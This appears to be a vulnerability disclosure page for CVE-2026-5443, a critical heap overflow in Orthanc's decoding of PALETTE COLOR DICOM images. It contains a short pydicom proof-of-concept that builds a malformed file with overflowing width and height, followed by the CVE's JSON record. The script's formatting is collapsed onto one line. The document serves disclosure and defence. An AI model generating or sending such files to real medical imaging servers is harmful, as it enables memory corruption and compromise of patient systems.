CVE-2026-5443

import pydicom import struct # PoC Concept: Create a malformed DICOM file with large width/height to trigger 32-bit overflow # This script demonstrates the logic to create a file that would trigger the vulnerability. def create_malformed_dicom(filename): # Minimal DICOM structure file_meta = pydicom.dataset.FileMetaDataset() file_meta.TransferSyntaxUID = '1.2.840.10008.1.2' # Implicit VR Little Endian ds = pydicom.dataset.FileDataset(filename, {}, file_meta=file_meta, preamble=b"\x00" * 128) ds.SOPClassUID = '1.2.840.10008.5.1.4.1.1.7' # Secondary Capture Image Storage ds.SOPInstanceUID = '1.2.3.4.5' # Set specific tag to trigger PALETTE COLOR decoding if applicable or force specific path # The core issue is width * height calculation. # Let's assume width = 65536 (0x10000) and height = 65536 (0x10000) # Multiplication: 0x10000 * 0x10000 = 0x100000000 # In 32-bit arithmetic, this overflows to 0. ds.Rows = 65536 ds.Columns = 65536 ds.BitsAllocated = 8 ds.PixelRepresentation = 0 ds.SamplesPerPixel = 1 ds.PhotometricInterpretation = 'PALETTE COLOR' # Add dummy pixel data (size doesn't strictly matter for the trigger, structure does) ds.PixelData = b'\x00' * 100 ds.save_as(filename) print(f"Malformed DICOM file saved to {filename}") print("Sending this file to Orthanc Server may trigger the heap overflow.") # create_malformed_dicom('exploit.dcm')

{"cve": {"id": "CVE-2026-5443", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:16.653", "lastModified": "2026-04-14T20:19:55.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap buffer overflow vulnerability exists during the decoding of `PALETTE COLOR` DICOM images. Pixel length validation uses 32-bit multiplication for width and height calculations. If these values overflow, the validation check incorrectly succeeds, allowing the decoder to read and write to memory beyond allocated buffers."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.11", "matchCriteriaId": "A259075D-8B77-4B04-BC42-3E5ABE9DFE1F"}]}]}], "references": [{"url": "https://kb.cert.org/vuls/id/536588", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.machinespirits.de/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.orthanc-server.com/", "source": "[email protected]", "tags": ["Product"]}]}}